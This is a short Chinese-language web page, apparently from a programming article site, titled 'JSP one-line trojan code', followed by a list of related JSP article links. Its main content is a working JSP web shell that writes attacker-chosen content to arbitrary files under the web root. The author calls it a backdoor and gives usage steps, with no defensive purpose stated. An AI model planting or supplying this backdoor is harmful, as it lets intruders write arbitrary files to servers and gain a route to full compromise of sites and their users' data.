JSP一句話木馬代碼

更新時(shí)間：2007年03月03日 00:00:00 作者：

<%  
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());  
%> 

這個(gè) 后門估計(jì)不用我說了吧.還是提示一下咯.保存為1.jsp 提交url!
http://localhost/1.jsp?f=1.txt&t=hello
然后:http://localhost/1.txt 就出來了內(nèi)容為 hello .....

您可能感興趣的文章:

JSP一句話木馬代碼

相關(guān)文章

jsp 重復(fù)提交問題
2009-07-07
Hibernate save() saveorupdate()的用法
在Hibernate中，最核心的概念就是對PO的狀態(tài)管理。
2008-11-11
Tomcat+Jsp環(huán)境下的中文問題
Tomcat+Jsp環(huán)境下的中文問題...
2006-10-10
jsp+servlet簡單實(shí)現(xiàn)上傳文件功能（保存目錄改進(jìn)）
這篇文章主要介紹了jsp+servlet簡單實(shí)現(xiàn)上傳文件（保存目錄改進(jìn)）,本文通過實(shí)例代碼給大家介紹的非常詳細(xì)，對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值，需要的朋友可以參考下
2020-06-06
jsp實(shí)現(xiàn)cookie的使用
jsp實(shí)現(xiàn)cookie的使用...
2006-10-10
淺談jsp中的9個(gè)隱含對象
下面小編就為大家?guī)硪黄獪\談jsp中的9個(gè)隱含對象。小編覺得挺不錯(cuò)的，現(xiàn)在就分享給大家，也給大家做個(gè)參考。一起跟隨小編過來看看吧
2017-08-08
JSP頁面實(shí)現(xiàn)驗(yàn)證碼校驗(yàn)功能
在網(wǎng)頁頁面的使用中為防止“非人類”的大量操作和防止一些的信息冗余，增加驗(yàn)證碼校驗(yàn)是許多網(wǎng)站常用的方式，這篇文章主要介紹了JSP頁面實(shí)現(xiàn)驗(yàn)證碼校驗(yàn),需要的朋友可以參考下
2022-10-10
體驗(yàn)Java 1.5中面向(AOP)編程
體驗(yàn)Java 1.5中面向(AOP)編程...
2006-10-10
Hibernate通用數(shù)據(jù)庫操作代碼
Hibernate insert、delete、update、基于HQL的通用select、基于SQL的通用select方法
2008-11-11
struts2入門Demo示例
這篇文章主要介紹了struts2入門Demo示例,以一個(gè)完整實(shí)例形式較為詳細(xì)的分析了struts2的完整實(shí)現(xiàn)方法與詳細(xì)步驟,具有一定參考借鑒價(jià)值,需要的朋友可以參考下
2015-09-09